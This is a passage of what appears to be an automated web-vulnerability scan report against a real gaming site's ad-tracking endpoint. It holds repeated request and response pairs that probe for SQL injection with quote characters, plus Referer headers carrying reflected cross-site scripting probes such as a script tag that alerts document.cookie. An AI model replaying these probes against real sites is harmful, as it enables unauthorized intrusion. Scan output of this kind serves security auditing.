<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=182992&FlightID=69584&TargetID=9128&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5329,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10820,11754,12248,14845,15232,16249,16251,17864,17898,17902,19172,20798,20834,20875,20904,22099,22285,22854,23359,23425,23427,23472,23479,23480,23493&Targets=6556,29462,7012,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bkNmutt,bguRragewbmAt HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=183141&FlightID=161194&TargetID=8080&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bfhoukn,bguRrblewbsuv

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=183141&FlightID=161194&TargetID=8080&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bfhoukn,bguRrblewbsuv HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: decc=US; NGUserID=a016c02-23694-278760149-1; i18n-cc=US; freq=c-1297040427563v-1n-12mc+1297040427563mv+1mn+12wwe~0; ATA=ign.129704044868759.173.193.214.243

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:58 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=183141&FlightID=161194&TargetID=8080&EntityDefResetFlag=0&C=0&Segments=1,255,348,1241,1931,2092,2747,3975,4113,4170,4602,4603,4723,4917,4938,4969,5057,5718,5749,5753,5906,6102,6382,6573,6615,6671,6702,7102,7396,7491,7752,7888,8587,9598,10327,10820,11754,12248,14845,15232,16249,16251,17864,17902,19172,20798,20807,20875,20904,20947,22099,22285,22854,23359,23425,23427,23429,23472,23479,23480,23493&Targets=6556,29462,7012,29373,6505,8080,27699,28684,9128,6507,8524,9483,7085,6651,9170,10619,26089,26016,27914,29365&Values=25,31,43,60,72,80,91,101,110,150,152,235,260,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bfhoukn,bguRrblewbsuv HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: decc=US; NGUserID=a016c02-23694-278760149-1; i18n-cc=US; freq=c-1297040427563v-1n-12mc+1297040427563mv+1mn+12wwe~0; ATA=ign.129704044868759.173.193.214.243

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:43:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:43:58 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bxtbict,bguRrfrbdmWag

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bxtbict,bguRrfrbdmWag HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:37 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=bxtbict,bguRrfrbdmWag HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:37 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cijnNxu,bguRragewbmAu

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cijnNxu,bguRragewbmAu HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,16370,16896,22099,22854,23425,23427,23472,23479,23480,23493&Targets=5813,7752,10619,20838,20105&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cijnNxu,bguRragewbmAu HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:29 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=5813,7752,10619,20838&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=Rnehdv,bguRrblewbsuN

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:55 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=5813,7752,10619,20838&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cWtjorh,bguRqRgbdmoWz

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=5813,7752,10619,20838&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cWtjorh,bguRqRgbdmoWz HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:09 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=20289&FlightID=18182&TargetID=5813&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4900,4917,4960,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11754,13633,14845,15232,16249,16251,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=5813,7752,10619,20838&Values=25,31,43,60,72,80,91,101,110,150,152,235,275,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=cWtjorh,bguRqRgbdmoWz HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; 